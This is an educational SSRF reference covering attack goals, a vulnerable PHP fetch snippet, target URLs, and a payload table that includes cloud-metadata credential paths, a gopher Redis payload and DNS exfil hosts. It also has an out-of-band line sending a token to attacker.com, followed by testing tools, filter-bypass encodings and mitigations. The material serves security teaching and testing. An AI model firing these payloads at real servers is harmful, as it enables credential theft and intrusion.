# Server-Side Request Forgery (SSRF)

**SSRF** occurs when an attacker is able to **make the server perform HTTP requests to internal or external systems** by supplying or manipulating a URL input field.

The server acts as a **proxy**, making requests on behalf of the attacker.

# SSRF Attack Goals

| Goal | Examples |
| --- | --- |
| Internal Network Scanning | Access services like 127.0.0.1, 10.0.0.0/8, 169.254.169.254 |
| Data Exfiltration | Send internal data to attacker-controlled server |
| Authentication Bypass | Exploit internal-only APIs |
| Cloud Metadata Access | AWS, GCP, Azure secrets via metadata endpoint |
| RCE (via chained services) | Exploit SSRF → Redis, Jenkins, webhooks, etc. |

# Example:

Vulnerable Code (PHP):  
$image = $\_GET['url'];  
$content = file\_get\_contents($image);  
Attacker Input: <http://localhost/admin>  
Server fetches internal-only endpoint on behalf of attacker.

# Targets

| URL | Purpose |
| --- | --- |
| http://localhost:80 | Local services |
| http://127.0.0.1:8080 | Admin panels |
| http://169.254.169.254 | AWS Metadata (IMDS) |
| http://10.0.0.1:9000 | Internal API, Redis, Jenkins |
| file:///etc/passwd | File disclosure (if supported) |
| gopher:// | Exploit Redis/MySQL through protocol |

# Impact

| Type | Risk |
| --- | --- |
| Bypass Firewall | Access internal services not exposed externally |
| Cloud Credential Theft | Read AWS metadata → get IAM tokens |
| Data Leak | Dump files, services, logs |
| Service Enumeration | Map internal architecture |
| Remote Code Execution (chained) | SSRF + Redis, gopher, webhook abuse |
| Pivot Point | Use server as a proxy for scanning other systems |

An attacker can manipulate the server into making requests to internal or unauthorized resources, potentially exposing sensitive data or accessing internal services.

# Types of SSRF

* **Basic SSRF**: Directly manipulating the URL in the request.
* **Blind SSRF**: Response is not visible to the attacker, but impact can still be inferred.
* **Chained SSRF**: SSRF used to pivot into internal systems.

## 1. **Basic SSRF**

Attacker inputs: <http://127.0.0.1/admin>  
App fetches internal resource.

## 2. Blind SSRF

No direct response shown, but:

* Logs leak request
* DNS interaction observed
* Side effects occur (e.g., new user created)

Use Burp Collaborator, dnslog.cn to detect.

## 3. Out-of-Band SSRF

Exfiltrate metadata or token: http://attacker.com/?token=<response>

## 4: Protocol-Based SSRF

Use different protocols:

* file:// → read local files
* dict:// → DoS or SSRF probes
* gopher:// → RCE via Redis injection
* ftp://, ldap:// → trigger memory leak or info disclosure

# Payload Examples

| Target | Payload |
| --- | --- |
| AWS Metadata | http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| Localhost Admin | http://localhost/admin |
| DNS Exfil | http://attacker.dnslog.cn |
| File Read | file:///etc/passwd |
| Gopher (Redis) | gopher://127.0.0.1:6379/\_POST /evil |

# Tools for SSRF Testing

| Tool | Purpose |
| --- | --- |
| Burp Suite | Intercept and fuzz url, uri, callback, target, next parameters |
| SSRFire | Automated SSRF scanner |
| Interactsh / Burp Collaborator | Blind SSRF detection (OOB) |
| dnslog.cn / requestbin.com | Observe DNS and HTTP callbacks |
| Amass, Nmap | Post-SSRF internal port scan if reachable |

# Testing Parameters

url=

redirect=

uri=

next=

path=

image=

domain=

website=

continue=

data=

dest=

Try encoding:

* http://localhost
* http://127.0.0.1
* http://[::1]
* Hex, octal, and dword:
  + http://2130706433 (127.0.0.1)

# Mitigation:

## 1. Whitelist Validation

Only allow specific domains:

ALLOWED\_HOSTS = ["images.example.com"]  
Reject IPs, localhost, metadata, internal ranges

## 2. Block Dangerous Schemes

Allow only http and https:

* Block file://, gopher://, dict://, ftp://

## **3**. DNS Rebinding Protection

Validate resolved IP matches expected domain.

## 4. Network Segmentation

Web server should not have access to:

* Cloud metadata (169.254.169.254)
* Redis, MySQL, Jenkins, internal APIs

## 5. Use SSRF-Protected Libraries

Avoid using low-level functions (file\_get\_contents, curl) on unvalidated input.

## 6. Logging & Alerts

Monitor unexpected outbound requests:

* Internal IPs
* Metadata endpoints
* DNS to suspicious domains
* Validate and sanitize all user-provided URLs.
* Use allowlists for acceptable domains or IP addresses.
* Disable unnecessary server functionalities, such as the ability to make outbound requests.
* Do not fetch user-supplied URLs directly.
* Use firewalls to block internal traffic from web-facing servers.

# Real-World Exploits

| Target | Description |
| --- | --- |
| Capital One (AWS) | SSRF → Metadata access → S3 keys leaked |
| Alibaba Cloud | SSRF → Access ECS metadata and credentials |
| Uber | SSRF in redirect allowed internal API scanning |
| GitHub (Bug Bounty) | SSRF allowed internal service mapping |

# Points

“SSRF exploits a trust boundary where the **server fetches attacker-supplied URLs** without validation.”

“It’s a high-severity issue especially in **cloud and microservice architectures**.”

“Detection involves **network egress monitoring**, **OOB payloads**, and **param fuzzing**.”